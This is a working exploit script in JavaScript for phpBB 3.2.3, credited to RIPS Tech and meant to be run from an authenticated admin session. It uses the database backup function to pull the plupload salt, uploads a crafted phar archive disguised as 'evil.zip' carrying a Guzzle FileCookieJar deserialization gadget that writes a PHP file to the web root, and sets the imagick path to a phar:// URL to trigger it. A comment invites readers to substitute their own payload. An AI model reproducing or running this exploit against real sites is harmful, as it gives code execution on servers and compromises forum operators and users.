[EXP]phpBB 3.2.3

// All greets goes to RIPS Tech
// Run this JS on Attachment Settings ACP page
var plupload_salt = '';
var form_token = '';
var creation_time = '';
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip
// your payload here
var payload = '<?php __HALT_COMPILER(); ?>x0dx0axfex01x00x00x01x00x00x00x11x00x00x00x01'+'x00'.repeat(5)+'xc8x01x00x00O:31:"GuzzleHttpx5cCookiex5cFileCookieJar":4:{s:41:"x00GuzzleHttpx5cCookiex5cFileCookieJarx00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"x00GuzzleHttpx5cCookiex5cFileCookieJarx00storeSessionCookies";b:1;s:36:"x00GuzzleHttpx5cCookiex5cCookieJarx00cookies";a:1:{i:0;O:27:"GuzzleHttpx5cCookiex5cSetCookie":1:{s:33:"x00GuzzleHttpx5cCookiex5cSetCookiex00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"x00GuzzleHttpx5cCookiex5cCookieJarx00strictMode";N;}x08x00x00x00test.txtx04x00x00x00K>x10x5cx04x00x00x00x0c~x7fxd8xb6x01'+'x00'.repeat(6)+'testxa0x17xd2xe0Rxcf xf6Tx1dx01Xx91(x9dD]Xx0b>x02x00x00x00GBMB';
var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});
var sid = (new URL(document.location.href)).searchParams.get('sid');
var url = '/adm/index.php';
var getparams = {
    'i': 'acp_database',
    'sid': sid,
    'mode': 'backup'
};
$.get(url, getparams, function(data) {
    form_token = $(data).find('[name="form_token"]').val();
    creation_time = $(data).find('[name="creation_time"]').val();
    if(form_token && creation_time) {
        var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';
        var postdata = {
            'type': 'data',
            'method': 'text',
            'where': 'download',
            'table[]': 'phpbb_config',
            'submit': 'Submit',
            'creation_time': creation_time,
            'form_token': form_token
        }
        $.post(posturl.replace("|", sid), postdata, function (data) {
            plupload_salt = data.match(/plupload_salt',s*'(w{32})/)[1];
            if (plupload_salt) {
                filepath = filepath.replace("$salt", plupload_salt);
                var postdata = new FormData();
                postdata.append('name', 'evil.zip');
                postdata.append('chunk', 0);
                postdata.append('chunks', 2);
                postdata.append('add_file', 'Add the file');
                postdata.append('real_filename', 'evil.zip');
                // file
                var pharfile = new File([byteArray], 'evil.zip');
                postdata.append('fileupload', pharfile);
                jQuery.ajax({
                    url: '/posting.php?mode=reply&f=2&t=1',
                    data: postdata,
                    cache: false,
                    contentType: false,
                    processData: false,
                    method: 'POST',
                    success: function(data){
                        if ("id" in data) {
                            $('#img_imagick').val(filepath).focus();
                            $('html, body').animate({
                                scrollTop: ($('#submit').offset().top)
                            }, 500);
                        }
                    }
                });

            }
        }, 'text');
    }
});